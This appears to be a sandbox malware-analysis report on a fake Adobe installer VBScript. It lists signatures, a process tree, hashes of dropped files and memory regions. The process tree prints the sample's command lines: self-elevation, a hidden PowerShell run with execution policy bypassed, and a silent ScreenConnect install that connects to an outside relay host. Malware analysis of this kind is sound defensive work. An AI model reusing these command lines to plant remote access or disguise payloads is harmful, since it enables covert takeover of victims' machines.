Analysis

  • max time kernel
    148s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/07/2026, 17:06

General

  • Target
    Adobe_Installer_0.4.2.5.40.vbs
  • Size 4KB
  • Sample260720-vmq4saax9z
  • SHA256 0f1e2d6d2038d6cbd0b72ec8aac86775984694a3213f511a5ee7d32e64964441
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 26 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe_Installer_0.4.2.5.40.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1284
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //B //NoLogo "C:\Users\Admin\AppData\Local\Temp\Adobe_Installer_0.4.2.5.40.vbs" /elevate
      2⤵
      • Executes a VBScript file via the Windows Script Host.
      • Suspicious use of WriteProcessMemory
      PID:3552
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\Temp\download.ps1"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4640
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi" /qn /norestart
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:1640
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4240
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding E91FCAEFCCD4F6D632ABCC0695E4931B
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1176
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSI5BC2.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240737421 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2388
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 494D019D945231A62529F34F7F948515 E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3684
  • C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.zfkco.top&p=8041&s=06ad897a-0214-4f8a-ab48-306718a2cf57&k=BgIAAACkAABSU0ExAAgAAAEAAQDteBi71LOt6WBvLB7PbjCbMQf36QSaRef2IBJOXH3KtP2wp%2bBh5Q7%2b7IjyHqDrN1KPHGnGUTPGlHfNZIRLBetyiceRHuerVLNUxSwPuNfd7%2fhzdpK%2f8mSDpTDa1udABuT1ZkmOiMjBA4Gew%2b0AagZ6lbNrzM76D4j4ZcSBn9rUt71dIRZXYAjY7XuG3cDublhbxGInY1K%2fLzf3ChDKO2Wt8jYMxsJtLNfh8uWc52ksh1SrVShdoDlPE7wI%2bxHZtbX%2fgfk3XNrxxDpemjQnJWXD6wjcinaDsaPXu3iEY2M2c7E36gZP5ehqfKxHj%2fOdAucrwnnLZudr60yPWE1ErV6w"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4372
    • C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsClient.exe" "RunRole" "c7cf56a4-2c43-4054-b1e4-e400f62dfefc" "User"
      2⤵
      • Executes dropped EXE
      PID:3472
    • C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsClient.exe" "RunRole" "f3985ddc-579b-47d1-a45c-5b5c583da6ef" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:5808

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e5954ff.rbs

        • Path C:\Config.Msi\e5954ff.rbs
        • Size 214KB
        • SHA256 e567af954f66fec755fb791486a2c6288b9fbc54c820ae1beae6587f7b21f84f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\Client.Override.en-US.resources
        • Size 227B
        • SHA256 38bdcc2ec25e7464dde7293b5a6ec64eea4b9d9f6fb8c36fdcc5677a6f55b721
        • MD5 SHA1 SHA512 TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\Client.Override.resources
        • Size 38KB
        • SHA256 4b7574f0ec681d2363365262d4de6b7ff31d010e539d31b43c15313878b1d5ef
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\Client.en-US.resources
        • Size 48KB
        • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\Client.resources
        • Size 28KB
        • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsClient.exe
        • Size 593KB
        • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\app.config
        • Size 1KB
        • SHA256 805e6e9447a4838d874d84e6b2cdff93723641b06726d8ee58d51e8b651cd226
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (a66138a804acb6fb)\system.config
        • Size 939B
        • SHA256 bea243c66b2a1c1da4f0080a95221cdae34978fc9a2e94f9910b510ea30c3985
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.ClientSetup.msi

        • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
        • Size 12.9MB
        • SHA256 628595dc18b986a069a2262d6ee8c8326c94ca598c4a8a7252130cfdd4677b9e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        download.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\download.ps1
        • Size 406B
        • SHA256 23be7b4af7d8f68f4e5efff14a88768e5921f0abf6f7c576e3e149062c5aea0a
        • MD5 SHA1 SHA512 TLSH

        MSI5BC2.tmp

        • Path C:\Windows\Installer\MSI5BC2.tmp
        • Size 1.0MB
        • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSI5BC2.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSI5BC2.tmp-\ScreenConnect.Core.dll
        • Size 538KB
        • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSI5BC2.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSI5BC2.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSI62AA.tmp

        • Path C:\Windows\Installer\MSI62AA.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/2388-49-0x0000000006930000-0x0000000006EEA000-memory.dmp

        memory/2388-40-0x00000000030E0000-0x00000000030EA000-memory.dmp

        memory/2388-36-0x00000000030A0000-0x00000000030CE000-memory.dmp

        memory/2388-48-0x00000000061C0000-0x000000000636C000-memory.dmp

        memory/2388-44-0x0000000003F40000-0x0000000003FCC000-memory.dmp

        memory/3472-142-0x000000001C960000-0x000000001CB2A000-memory.dmp

        memory/3472-137-0x0000000002970000-0x0000000002988000-memory.dmp

        memory/3472-136-0x00000000027D0000-0x00000000027E8000-memory.dmp

        memory/3472-135-0x000000001B910000-0x000000001BA98000-memory.dmp

        memory/3472-134-0x000000001B760000-0x000000001B90C000-memory.dmp

        memory/3472-133-0x000000001B1E0000-0x000000001B26C000-memory.dmp

        memory/3472-132-0x0000000002930000-0x0000000002966000-memory.dmp

        memory/3472-131-0x0000000000500000-0x0000000000598000-memory.dmp

        memory/4372-88-0x0000000004540000-0x0000000004558000-memory.dmp

        memory/4372-117-0x0000000004CD0000-0x0000000004D62000-memory.dmp

        memory/4372-112-0x00000000048E0000-0x0000000004930000-memory.dmp

        memory/4372-116-0x0000000004930000-0x0000000004966000-memory.dmp

        memory/4372-121-0x0000000004EC0000-0x0000000004F95000-memory.dmp

        memory/4372-119-0x0000000004C30000-0x0000000004C71000-memory.dmp

        memory/4640-5-0x0000022874920000-0x0000022874942000-memory.dmp

        memory/4640-10-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-13-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-6-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-14-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-7-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-8-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-140-0x00007FFC2A7F0000-0x00007FFC2B194000-memory.dmp

        memory/4640-2-0x00007FFC2A97F000-0x00007FFC2A980000-memory.dmp

        memory/5808-139-0x0000000002E20000-0x0000000002E61000-memory.dmp

        memory/5808-141-0x000000001D060000-0x000000001D22A000-memory.dmp